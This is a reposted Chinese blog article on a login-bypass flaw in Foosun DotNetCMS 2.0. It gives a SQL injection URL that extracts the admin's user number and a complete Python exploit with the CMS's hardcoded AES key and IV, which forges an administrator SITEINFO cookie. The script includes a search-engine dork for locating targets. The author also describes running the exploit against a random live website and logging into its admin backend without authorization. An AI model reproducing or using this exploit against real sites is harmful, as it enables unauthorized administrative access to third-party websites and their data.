Foosun DotNetCMS2.0登录绕过漏洞
来源:互联网 发布:瀚资软件咨询有限公司 编辑:程序博客网 时间:2024/06/06 03:43
Foosun DotNetCMS2.0的源码下载地址:【传送门】
在阅读Foosun DotNetCMS2.0代码时,我们发现了这样一处:
具体细节为:
1.从${pre}_sys_User表中取出UserNum,UserName,SiteID
2.如果是管理员,则adminLogined=1;另外,info.uncert的默认值为false
3.将UserNum,UserName,SiteID,adminLogined,uncert用逗号隔开组成字符串,再使用源码内的加密算法进行加密
4.加密后的字符串写入cookie,name是SITEINFO
得到加密字符串的代码如下:
举个例子,当UserNumber=473868369227,UserName=admin对应的加密串就是:
dZCoWi7DJT6drFmjOLOwuVesOLhnwlLB/y68EDKj+5g=
UserNumber如何得到我们在后面细说。
接着就是祭出我们的EditThisCookie工具:
添加完cookie之后,就直接访问管理后台的url:
/manage/Index.aspx
直接就以登录状态登录进去了。
需要注意的是,UserNumber是在安装Foosun CMS时,随机产生的一个12位的值:
如果UserNumber是错误的,则在界面上会提示:
12位的UserNumber从纯零暴力试到纯9未尝不可,但是实在太耗时,也非常容易被人发现。那么可不可能与SQL注入结合一下呢?
加密后的串:
duadkW0B5b7wRIKRD6fwjWalwRIqWmrduuha+QfEvBE=
非常可惜的是,它做了参数化查询防止SQL注入:
所以,Foosun DotNetCMS2.0是通过cookie中的UserNumber与sys_User表进行比对,如果查询不到,则在前台提示“用户不存在”。
接下来的思路,就是找寻可以得到UserNumber的地方。
由于http://localhost:1624/user/City_ajax.aspx?CityId=1的CityId字段存在SQL注入漏洞。
具体代码参见:
所以我们可以使用如下语句得到UserNumber:
http://localhost:12157/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin
将得到的UserNumber代入上面所说的加密方法,得到加密串,写入cookie即可以成功登陆。
其实sql注入就可以拿到fs_sys_User表的用户名密码了,为什么还要采用构造cookie的方式绕过登录呢?原因是在Foosun DotNetCMS2.0中,密码是以16位md5的方式存储的,如截图所示:
而对于md5的密码一般破解方法都是字典碰撞的方式破解,如果管理员设置的密码复杂度够高不在常见密码的字典中,则是无法破解的。所以我们采用直接用sql注入拿到UserNumber,然后再与UserName等拼接,构造cookie直接以管理员权限登录。
exp代码如下:
#coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword: ####inurl:/manage/Login.aspx #################################KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="the url", required=True, nargs="+") return parser.parse_args()def run(url): try: usernumber = get_usernumber(url) if usernumber is not None: encrypt_cookie = generate_cookie(usernumber) #写入cookie中 write_cookie(url, encrypt_cookie) except Exception: traceback.print_exc()def get_usernumber(url): fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin" content = urllib.urlopen(fullurl).read() index = content.index("<option value=\"") if index != -1: usernumber = content[index+15:] usernumber = usernumber[0: content.index("\"")+1] print "Get usernumber success. Usernumber is :", usernumber return usernumber else: print "Get usernumber fail" return Nonedef pkcs7padding(data): bs = AES.block_size padding = bs - len(data) % bs padding_text = chr(padding) * padding return data + padding_textdef generate_cookie(usernumber): orgstr = "%s,admin,0,1,False"%(usernumber,) cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16]) ciphertext = cryptor.encrypt(pkcs7padding(orgstr)) ciphertext = base64.b64encode(ciphertext) return ciphertextdef write_cookie(url, ciphercookie): print "Generate Cookie[SITEINFO]:", ciphercookie print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)if __name__ == '__main__': args = parse_args() try: if args.url is not None: run(args.url[0]) except Exception, e: print "python Foosun_exp.py -u [url]"
运行效果如下图所示:
将脚本打印的加密Cookie用EditThisCookie写入浏览器Cookie,再访问管理主页面链接即可。
随便找一个使用了该CMS的站点试验一下脚本:
将脚本打印的SITEINFO COOKIE写入:
成功登入后台(该网站用的是1.0版本Foosun DotNetCMS,存在同样的漏洞):
- 上一篇:浅谈Node.js Web的安全问题
- 下一篇: 僵尸网络团伙利用MIRAI开源代码改造升级攻击装备
已有 7 条评论
- duoliyou 2017-11-14回复2楼
get
亮了(0) - 周红衣 2017-11-14回复3楼
非法入侵,还不打码,楼主开下门,你的外卖到了
亮了(12)
- Foosun DotNetCMS2.0登录绕过漏洞
- Grub2登录绕过验证漏洞
- phpmyadmin使用@符号绕过登录漏洞
- MasterKey签名绕过漏洞
- 余额宝漏洞 可绕过用户登录 5W奖励“白帽子”
- iis 5.0认证绕过漏洞
- Bkav联网防火墙绕过漏洞
- 文件包含漏洞(绕过姿势)
- ecshop后台登录绕过
- 爬虫绕过“登录页面”
- i春秋:警惕IIS6.0站上的解析缺陷绕过上传漏洞
- i春秋:警惕IIS6.0站上的目录路径检测解析绕过上传漏洞
- 多个防火墙产品设置绕过漏洞
- Linux2.4iptablesMAC地址匹配绕过漏洞
- Sun Java System本地绕过的漏洞
- SQL数据注入漏洞-绕过登陆验证
- PHP字符编码绕过漏洞总结
- Phpspy 2011继续身份验证绕过漏洞
- 文章标题 将图片从一个文件夹复制到另一个文件夹
- windows下共用JDK环境,同时启动多个tomcat具体步骤
- c和c++中&的用法及区别
- EasyMovieTexture使用总结
- Banner
- Foosun DotNetCMS2.0登录绕过漏洞
- 如何把Docker镜像分发速度提升90%
- eclipse+tomcat发布由maven构成的web项目lib资源共享问题
- bigemap一键离线地图发布工具(教程)
- Nginx+keepalived双机热备(主从模式)
- 同一网络环境下使用手机代理录制LR脚本
- Oracle中常见的数据库操作
- 人工智能技术应用的领域主要有哪些?
- PullToRefresh下拉和上拉简单实现
这些评论亮了